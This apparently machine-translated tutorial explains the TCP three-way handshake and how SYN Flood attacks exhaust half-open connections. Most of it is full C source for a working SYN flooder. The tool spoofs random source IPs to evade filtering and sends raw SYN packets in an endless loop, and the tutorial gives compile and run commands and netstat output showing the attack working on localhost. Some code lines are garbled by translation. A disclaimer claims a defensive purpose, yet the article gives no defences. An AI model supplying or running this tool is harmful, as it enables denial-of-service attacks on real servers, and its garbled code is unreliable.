Note: this article only discusses the technology, do not use it for illegal purposes, otherwise the consequences are at your own risk.
TCP protocol is an important protocol in the TCP/IP protocol stack, usually we use the browser, APP and so on most of the use of TCP protocol communication, visible TCP protocol plays a very important role in the network.
TCP is a reliable and connection-oriented flow protocol. Because TCP protocol is based on IP protocol, it must maintain the connection status by itself.
Three handshake process
TCP establishes the connection between the client and the server through a three-way handshake. The principle of the three-way handshake is shown in Figure 1.
(Figure 1 three-way handshake)
The three-way handshake process for establishing a connection is as follows:
-
The client needs to send a SYN packet to the server (containing the client initialization sequence number) and set the state of the connection to SYN_SENT, which is done by the connect() system call.
-
After receiving the SYN packet from the client, the server replies with a SYN+ACK packet containing the server initialization sequence number and sets the connection status to SYN_RCVD.
-
After receiving the SYN+ACK packet from the server, the client sets the connection status to ESTABLISHED and sends an ACK packet to the server.
-
After receiving the ACK packet from the client, the server sets the connection status to ESTABLISHED (indicating that the connection has been ESTABLISHED).
When the three-way handshake is complete, a TCP connection is established.
Mechanism of SYN Flood attacks
The above describes the three-way handshake process for establishing a TCP connection. It can be found that the three-way handshake is a negotiation process, that is, the client and server must strictly follow this process; otherwise, the connection cannot be established.
What happens if a client sends a SYN packet in an attempt to establish a connection with a server, but then leaves it alone? As shown in Figure 2:
(FIG. 2 the SYN Flood)
The client sends a SYN packet to the server and exits. After receiving the SYN packet, the server replies with a SYN+ACK packet and waits for an ACK packet from the client.
However, the client does not reply to the ACK packet, so the server can only wait until the timeout. After the server times out, it resends the SYN+ACK packet to the client. By default, the server resends the SYN+ACK packet to the client five times, and the waiting time increases each time. For details, see TCP Timeout Retransmission.
In addition, when the server receives a SYN packet, it establishes a semi-connected Socket. Therefore, if the client keeps sending SYN packets but does not respond with ACK packets, the server resources are exhausted. This is the SYN Flood attack.
SYN Flood attack experiment
Next, we write our own code to conduct SYN Flood attack experiment.
As THE TCP header is required for SYN Flood attacks, the format of the TCP header is described as shown in Figure 3:
(Figure 3 TCP header format)
We define the following structure to describe the TCP header:
struct tcphdr { unsigned short sport; // Source port unsigned short dport; // Target port unsigned int seq; // Sequence number unsigned int ack_seq; Unsigned char len; // The header length is unsigned char flag; // unsigned short win; // Window size unsigned short checksum; // Checksum unsigned short urg; // Emergency pointer};Copy the code
Here is how to set the TCP header:
-
The SYN field in the flag bit must be set to 1, indicating that this is a SYN packet. Since the SYN bit is the second of the flag field, you can set the flag field to 0x02.
-
Source port number and serial number You can set one randomly. Set the destination port number to the target port to be attacked.
-
The confirmation number is set to 0 because we do not yet know the serial number of the server.
-
The window size can be set to anything you like, but generally not too small (1024 can be used).
-
The checksum is complicated because TCP computes the checksum with a 12-byte dummy header. The dummy header looks like this:
-
The pseudo header consists of 12 bytes and contains the following fields: 32-bit source IP address, 32-bit destination IP address, 8-bit reserved byte (0), 8-bit transport layer protocol number (TCP 6, UDP 17), and 16-bit TCP packet length (TCP header + data).
-
TCP checksum calculation consists of three parts: TCP dummy header, TCP header, and TCP data.
-
The emergency pointer can be set to 0.
According to the above analysis, the structure of TCP pseudo-header is defined as follows:
struct pseudohdr {
unsigned int saddr;
unsigned int daddr;
char zeros;
char protocol;
unsigned short length;
};
Copy the code
The algorithm for calculating checksums is a bit complicated, so here is a function wrapped directly from the Internet, as follows (if you are interested, refer to the TCP RFC documentation) :
unsigned short inline
checksum(unsigned short *buffer, unsigned short size)
{
unsigned long cksum = 0;
while (size > 1) {
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size) {
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short )(~cksum);
}
Copy the code
In addition, in order to be able to set different IP addresses during the attack (because the same IP address can be easily identified and filtered), we also need to define the IP protocol header. The format of IP protocol header is shown in Figure 4:
(Figure 4 IP protocol header)
We define the following structure to represent the IP protocol header:
struct iphdr { unsigned char ver_and_hdrlen; // Version number and IP header length unsigned char tos; // Service type unsigned short total_len; // Total length unsigned short id; // IP packet ID unsigned short flags; // Flag bits (including fragment offset) unsigned char TTL; // Life cycle unsigned char protocol; Unsigned short checksum; // Checksum unsigned int srcaddr; // Source IP address unsigned int dstaddr; // Destination IP address};Copy the code
1. Initialize the IP header
Init_ip_header () initializes the IP header:
void init_ip_header(struct iphdr *iphdr, unsigned int srcaddr, unsigned int dstaddr) { int len = sizeof(struct ip) + sizeof(struct tcphdr); iphdr->ver_and_hdrlen = (4 << 4 | sizeof(struct iphdr) / sizeof(unsigned int)); iphdr->tos = 0; iphdr->total_len = htons(len); iphdr->id = 1; iphdr->flags = 0x40; iphdr->ttl = 255; iphdr->protocol = IPPROTO_TCP; iphdr->checksum = 0; iphdr->srcaddr = srcaddr; Iphdr ->dstaddr = dstaddr; // Destination IP address}Copy the code
The init_ip_header() function is relatively simple. It initializes the IP header structure from the source and destination IP addresses passed in.
2. Initialize the TCP header
Next, we implement the function init_tcp_header() that initializes the TCP header:
void init_tcp_header(struct tcphdr *tcphdr, unsigned short dport) { tcp->sport = htons(rand() % 16383 + 49152); // generate a random port TCP ->dport = htons(dport); TCP ->seq = htonl(rand() % 90000000 + 2345); TCP ->ack_seq = 0; tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0); tcp->flag = 0x02; tcp->win = htons(1024); tcp->checksum = 0; tcp->urg = 0; }Copy the code
3. Initialize the TCP pseudo header
Now we define a TCP pseudo-head initialization function, init_pseudo_header() :
void init_pseudo_header(struct pseudohdr *hdr, unsigned int srcaddr,
unsigned int dstaddr)
{
hdr->zero = 0;
hdr->protocol = IPPROTO_TCP;
hdr->length = htons(sizeof(struct tcphdr));
hdr->saddr = srcaddr;
hdr->daddr = dstaddr;
}
Copy the code
4. Construct SYN packets
Next we will implement the most important function, which is to build the SYN packet, as follows:
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr, unsigned short dport) { char buf[100]; int len; struct iphdr ip; // IP header struct TCPHDR TCP; // TCP header struct pseudohdr pseudo; // TCP pseudoheader unsigned int saddr = rand(); Len = sizeof(IP) + sizeof(TCP); // Initialize the header information init_ip_header(& IP, saddr, daddr); init_tcp_header(&tcp, dport); init_pseudo_header(&pseudo, saddr, daddr); Checksum = checksum((u_short *)& IP, sizeof(IP)); // Calculate the TCP checksum bzero(buf, sizeof(buf)); memcpy(buf , &pseudo, sizeof(pseudo)); // copy the TCP pseudo-header memcpy(buf + sizeof(pseudo), & TCP, sizeof(TCP)); Checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(TCP)); bzero(packet, pkt_len); memcpy(packet, &ip, sizeof(ip)); memcpy(packet + sizeof(ip), &tcp, sizeof(tcp)); return len; }Copy the code
The make_syn_packet() function generates a SYN packet from the destination IP address and destination port, saves it in the packet parameter, and returns the packet size.
5. Create the original socket
Because you want to send your own built IP and TCP headers, you must use the raw socket to send. The raw socket needs to be created with the SOCK_RAW parameter. Let’s define a function that creates the raw socket:
int make_raw_socket() { int fd; int on = 1; Fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (fd == -1) { return -1; If (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {close(fd); return -1; } return fd; }Copy the code
When the socket() function is called to create a socket, specify the second argument as SOCK_RAW, indicating that the socket created is the original socket. We then call setsockopt to set the IP header to be built by ourselves.
6. Send SYN packets
We implement the SYN packet sending function:
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
struct sockaddr_in skaddr;
char packet[256];
int pkt_len;
bzero(&skaddr, sizeof(skaddr));
skaddr.sin_family = AF_INET;
skaddr.sin_port = htons(port);
skaddr.sin_addr.s_addr = addr;
pkt_len = make_syn_packet(packet, 256, addr, port);
return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
sizeof(struct sockaddr));
}
Copy the code
The send_syn_packet() function needs to pass in the raw socket, destination IP address, and destination port, and then send a SYN packet to the server by calling sendto().
7. The main function
Finally, we implement the main function main() :
int main(int argc, char *argv[]) { unsigned int addr; unsigned short port; int sockfd; if (argc < 3) { fprintf(stderr, "Usage: synflood <address> <port>\n"); exit(1); } addr = inet_addr(argv[1]); Port = atoi(argv[2]); / / to get target port if (port < 0 | | port > 65535) {fprintf (stderr, "Invalid destination port number: % s \ n", argv [2]). exit(1); } sockfd = make_raw_socket(); // Create original socket if (sockfd == -1) {fprintf(stderr, "Failed to make raw socket\n"); exit(1); } for (;;) {if (send_syn_packet(sockfd, addr, port) < 0) {fprintf(stderr, "Failed to send SYN packet\n"); } } close(sockfd); return 0; }Copy the code
The main() function is also simple, first reading the destination IP address and destination port from the command line, then calling make_raw_socket() to create a raw socket, and finally sending SYN packets to the server in an infinite loop.
Complete source code at: github.com/liexusong/s…
Now we compile the program with the following command:
root@vagrant]$ gcc -o synflood synflood.c
Copy the code
Then run the program with the following command:
root@vagrant]$sudo synflood 127.0.0.1 80Copy the code
The above command attacks the local port 80. You can use the following command to check the TCP connection status:
Root @ vagrant] $netstat - np | grep TCP TCP 0 0 127.0.0.1:80 229.20.1.110:51861 SYN_RECV - TCP 0 0 127.0.0.1:80 239.137.18.30:52104 syn_recv-TCP 0 0 127.0.0.1:80 233.90.28.10:65322 syn_recv-TCP 0 0 127.0.0.1:80 236.13.8.74:57922 Syn_recv-tcp 0 0 127.0.0.1:80 229.81.76.55:52345 syn_recv-tcp 0 0 127.0.0.1:80 236.226.188.82:53560 Syn_recv-tcp 0 0 127.0.0.1:80 236.245.238.56:49499 syn_recv-TCP 0 0 127.0.0.1:80 224.222.45.20:49270 syn_recv-TCP 0 0 127.0.0.1:80 230.2.130.115:63709 syn_recv-TCP 0 0 127.0.0.1:80 239.233.180.85:59636 syn_recv-TCP 0 0 127.0.0.1:80 236.168.175.81:60326 syn_recv-TCP 0 0 127.0.0.1:80 235.27.77.111:65276 Syn_recv-TCP 0 0 127.0.0.1:80 236.4.252.114:60898 syn_recv-tcp 0 0 127.0.0.1:80 226.62.209.29:64605 syn_recv-TCP 0 0 127.0.0.1:80 232.106.157.82:56451 syn_recv-TCP 0 0 127.0.0.1:80 235.247.175.35:54963 syn_recv-TCP 0 0 127.0.0.1:80 231.100.248.95:58660 syn_recv-TCP 00 127.0.0.1:80 228.113.70.7:60157 syn_recv-TCP 00 127.0.0.1:80 236.76.245.32:59218 syn_recv-TCP 0 0 127.0.0.1:80 232.76.169.15:50441 syn_recv-TCP 0 0 127.0.0.1:80 236.191.51.34:53060 syn_recv-TCP 0 0 127.0.0.1:80 227.215.119.119:55480 syn_recv-TCP 0 0 127.0.0.1:80 227.185.145.18:56882 syn_recv-TCP 0 0 127.0.0.1:80 234.73.216.62:58793 syn_recv-TCP 0 0 127.0.0.1:80 234.183.17.49:59739 syn_recv-TCP 0 0 127.0.0.1:80 235.233.86.125:55530 syn_recv-TCP 0 0 127.0.0.1:80 229.117.216.112:52235 syn_recv-tcp 0 0 127.0.0.1:80 238.182.168.62:65214 syn_recv-TCP 0 0 127.0.0.1:80 225.88.213.112:62171 syn_recv-TCP 0 0 127.0.0.1:80 225.218.65.88:60597 syn_recv-TCP 0 0 127.0.0.1:80 239.116.219.23:58731 syn_recv-TCP 0 0 127.0.0.1:80 232.99.36.55:51906 syn_recv-TCP 0 0 127.0.0.1:80 225.198.211.64:52338 SYN_RECV - TCP 0 0 127.0.0.1:80 230.229.104.121:62795 SYN_RECV -...Copy the code
As you can see from the above results, the server has generated many half-connected TCP connections, indicating that our attack has taken effect.
conclusion
This article mainly introduces the principle and implementation of SYN Flood attack. The purpose of this article is to better defend against attacks by understanding the attack principle, rather than teaching you how to attack. Therefore, do not use SYN Flood attack for malicious attacks, do not use it for malicious attacks, and do not use it for malicious attacks.
In addition, there are many ways to prevent SYN Flood attacks, which are not introduced here. If you are interested, you can refer to relevant documents.
Resources: 1. Blog.csdn.net/zhangskd/ar…
2. Blog.csdn.net/jiange\_zh/…